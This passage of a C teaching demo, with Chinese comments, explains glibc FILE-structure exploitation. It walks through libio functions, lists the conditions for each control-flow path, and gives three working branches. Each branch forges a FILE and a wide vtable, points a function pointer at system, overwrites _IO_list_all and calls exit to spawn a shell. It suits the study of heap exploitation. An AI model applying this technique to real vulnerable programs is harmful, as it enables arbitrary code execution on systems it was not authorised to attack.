printf_color(YELLOW, HIGHLIGHT, "C. FILE->_flag & 4 == 0 (_IO_wfile_underflow_mmap 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "D. FILE->_wide_data->_IO_read_ptr >= FILE->_wide_data->_IO_read_end (_IO_wfile_underflow_mmap 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "E. FILE->_IO_read_ptr < FILE->_IO_read_end (_IO_wfile_underflow_mmap 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "F. FILE->_wide_data->_IO_buf_base == NULL (_IO_wfile_underflow_mmap 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "G. FILE->_wide_data->_IO_save_base == NULL (_IO_wfile_underflow_mmap 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "H. FILE->_wide_data->_IO_buf_base == 0 (_IO_wdoallocbuf 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "I. FILE->_flags & 2 != 0 (_IO_wdoallocbuf 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "J. FILE->_wide_data->_wide_vtable + 0x68 == 要执行的代码地址 (ALLOCATE函数指针偏移0x68)\n\n");

printf_color(WHITE, HIGHLIGHT, "(3) _IO_wdefault_xsgetn 路线\n");
printf_color(GREEN, UNDEFINED, "这条路线有一个关键的限制条件:在进入时rdx!=0。下面通过分析将会解释这个条件的来源。\n");
printf_color(GREEN, UNDEFINED, "这个函数出现于4个_IO_jump_t结构体中,可以选择其一:\n");
printf_color(GREEN, HIGHLIGHT, "\t_IO_helper_jumps,偏移量0x215AC0\n");
printf_color(GREEN, HIGHLIGHT, "\t_IO_wmem_jumps,偏移量0x216180\n");
printf_color(GREEN, HIGHLIGHT, "\t_IO_wstr_jumps,偏移量0x215E80\n");
printf_color(GREEN, HIGHLIGHT, "\t_IO_wstrn_jumps,偏移量0x215DC0\n");
printf_color(GREEN, UNDEFINED, "不过需要注意的是,由于_IO_flush_all_lockp中调用的是OVERFLOW函数指针,因此需要加一个偏移才能使其调用_IO_wdefault_xsgetn。\n");
printf_color(GREEN, UNDEFINED, "OVERFLOW函数指针的偏移为0x18,xsgetn的偏移为0x40,因此vtable的地址应该写入上述其中一个值+0x28。\n");
printf_color(GREEN, UNDEFINED, "下面是_IO_wdefault_xsgetn函数的定义:\n");
printf_color(BLUE, HIGHLIGHT, "(/libio/wgenops.c, line 324)\n");
printf_color(PURPLE, HIGHLIGHT,
"size_t\n"
"_IO_wdefault_xsgetn (FILE *fp, void *data, " HIGHLIGHT_YELLOW_HEAD "size_t n" HIGHLIGHT_PURPLE_HEAD ")\n"
"{\n"
" " HIGHLIGHT_YELLOW_HEAD "size_t more = n;\n" HIGHLIGHT_PURPLE_HEAD
" wchar_t *s = (wchar_t*) data;\n"
" for (;;)\n"
" {\n"
" /* Data available. */\n"
" " HIGHLIGHT_YELLOW_HEAD "ssize_t count = (fp->_wide_data->_IO_read_end\n"
" - fp->_wide_data->_IO_read_ptr);\n" HIGHLIGHT_PURPLE_HEAD
" if (" HIGHLIGHT_RED_HEAD "count > 0" HIGHLIGHT_PURPLE_HEAD ")\n"
"\t{\n"
"\t if ((size_t) count > more)\n"
"\t count = more;\n"
"\t if (count > 20)\n"
"\t {\n"
"\t s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);\n"
"\t fp->_wide_data->_IO_read_ptr += count;\n"
"\t }\n"
"\t else if (count <= 0)\n"
"\t count = 0;\n"
"\t else\n"
"\t {\n"
"\t wchar_t *p = fp->_wide_data->_IO_read_ptr;\n"
"\t int i = (int) count;\n"
"\t while (--i >= 0)\n"
"\t\t*s++ = *p++;\n"
"\t fp->_wide_data->_IO_read_ptr = p;\n"
" }\n"
" more -= count;\n"
" }\n"
" if (" HIGHLIGHT_RED_HEAD "more == 0" HIGHLIGHT_PURPLE_HEAD " || " HIGHLIGHT_YELLOW_HEAD "__wunderflow (fp) == WEOF)\n" HIGHLIGHT_PURPLE_HEAD
"\tbreak;\n"
" }\n"
" return n - more;\n"
"}\n"
"libc_hidden_def (_IO_wdefault_xsgetn)\n\n");

printf_color(GREEN, UNDEFINED, "从上面的代码就可以看出,我们为什么要让rdx!=0,这是为了使 more != 0。\n");
printf_color(GREEN, UNDEFINED, "下面是__wunderflow函数的定义:\n");
printf_color(BLUE, HIGHLIGHT, "(/libio/wgenops.c, line 250)\n");
printf_color(PURPLE, HIGHLIGHT,
"wint_t\n"
"__wunderflow (FILE *fp)\n"
"{\n"
" if (" HIGHLIGHT_RED_HEAD "fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))\n" HIGHLIGHT_PURPLE_HEAD
" return WEOF;\n"
"\n"
" if (" HIGHLIGHT_RED_HEAD "fp->_mode == 0" HIGHLIGHT_PURPLE_HEAD ")\n"
" _IO_fwide (fp, 1);\n"
" if (" HIGHLIGHT_GREEN_HEAD "_IO_in_put_mode (fp)" HIGHLIGHT_PURPLE_HEAD ")\n"
" if (" HIGHLIGHT_YELLOW_HEAD "_IO_switch_to_wget_mode (fp) == EOF" HIGHLIGHT_PURPLE_HEAD ")\n"
" return WEOF;\n"
" if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)\n"
" return *fp->_wide_data->_IO_read_ptr;\n"
" if (_IO_in_backup (fp))\n"
" {\n"
" _IO_switch_to_main_wget_area (fp);\n"
" if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)\n"
"\treturn *fp->_wide_data->_IO_read_ptr;\n"
" }\n"
" if (_IO_have_markers (fp))\n"
" {\n"
" if (save_for_wbackup (fp, fp->_wide_data->_IO_read_end))\n"
"\treturn WEOF;\n"
" }\n"
" else if (_IO_have_backup (fp))\n"
" _IO_free_wbackup_area (fp);\n"
" return _IO_UNDERFLOW (fp);\n"
"}\n"
"libc_hidden_def (__wunderflow)\n\n");

printf_color(GREEN, UNDEFINED, "其中有一个_IO_in_put_mode宏定义:");
printf_color(YELLOW, HIGHLIGHT, "#define _IO_in_put_mode(_fp) ((_fp)->_flags & _IO_CURRENTLY_PUTTING) // _IO_CURRENTLY_PUTTING == 0x800\n");
printf_color(GREEN, UNDEFINED, "再来到_IO_switch_to_wget_mode函数:\n");
printf_color(BLUE, HIGHLIGHT, "(/libio/wgenops.c, line 390)\n");
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_switch_to_wget_mode (FILE *fp)\n"
"{\n"
" if (" HIGHLIGHT_GREEN_HEAD "fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base" HIGHLIGHT_PURPLE_HEAD ")\n"
" if ((wint_t)" HIGHLIGHT_YELLOW_HEAD "_IO_WOVERFLOW (fp, WEOF)" HIGHLIGHT_PURPLE_HEAD " == WEOF)\n"
" return EOF;\n"
" if (_IO_in_backup (fp))\n"
" fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;\n"
" else\n"
" {\n"
" fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;\n"
" if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)\n"
"\tfp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;\n"
" }\n"
" fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;\n"
"\n"
" fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr\n"
" = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;\n"
"\n"
" fp->_flags &= ~_IO_CURRENTLY_PUTTING;\n"
" return 0;\n"
"}\n"
"libc_hidden_def (_IO_switch_to_wget_mode)\n\n");

printf_color(GREEN, UNDEFINED, "在这里调用WOVERFLOW函数指针。\n");
printf_color(GREEN, UNDEFINED, "总结一下这条路径需要的构造条件:\n");
printf_color(YELLOW, HIGHLIGHT, "A. FILE->_mode > 0 (_IO_flush_all_lockp 控制流判断条件,__wunderflow 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "B. FILE->_wide_data->_IO_write_ptr > FILE->_wide_data->_IO_write_base (_IO_flush_all_lockp 控制流判断条件,_IO_switch_to_wget_mode 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "C. rdx != 0 (_IO_wdefault_xsgetn 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "D. FILE->_wide_data->_IO_read_end - FILE->_wide_data->_IO_read_ptr <= 0 (_IO_wdefault_xsgetn 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "E. FILE->_flags & 0x800 != 0 (__wunderflow 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "F. FILE->_wide_data->_wide_vtable + 0x18 == 要执行的代码地址 (OVERFLOW函数指针偏移0x18)\n\n");

#if exploit_mode == 1

// (/libio/genops.c, line 701): fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
fake_FILE->_mode = 0;
fake_FILE->_IO_write_ptr = (char*)1;
fake_FILE->_IO_write_base = (char*)0;
((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x2160C0; // vtable, 0x215F40, 0x216000
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
((size_t*)fake_FILE->_wide_data)[0x18 / 8] = 0;
fake_vtable[0x68 / 8] = (size_t)system; // _IO_WDOALLOCATE调用的函数指针,偏移量可通过查看汇编获取
strcpy((char*)fake_FILE, binsh);
*(_IO_list_all) = (size_t)fake_FILE;
exit(0);

#elif exploit_mode == 2

fake_FILE->_mode = 0;
fake_FILE->_IO_write_ptr = (char*)1;
fake_FILE->_IO_write_base = (char*)0;
fake_FILE->_IO_read_end = (char*)1;
((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x216000; // vtable
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
fake_vtable[0x68 / 8] = (size_t)system; // _IO_WDOALLOCATE调用的函数指针,偏移量可通过查看汇编获取
strcpy((char*)fake_FILE, binsh);
*(_IO_list_all) = (size_t)fake_FILE;
exit(0);

#elif exploit_mode == 3

fake_FILE->_mode = 1;
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x215AC0 + 0x28; // vtable
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
((size_t*)fake_FILE->_wide_data)[0x20 / 8] = 1; // _wide_data->_IO_write_ptr, o+0x20
fake_vtable[0x18 / 8] = (size_t)system; // _IO_WOVERFLOW调用的函数指针
strcpy((char*)fake_FILE, binsh2); // sh => 0x6873, 0x6873 & 0x800 != 0

*(_IO_list_all) = (size_t)fake_FILE;
exit(0);

#endif
}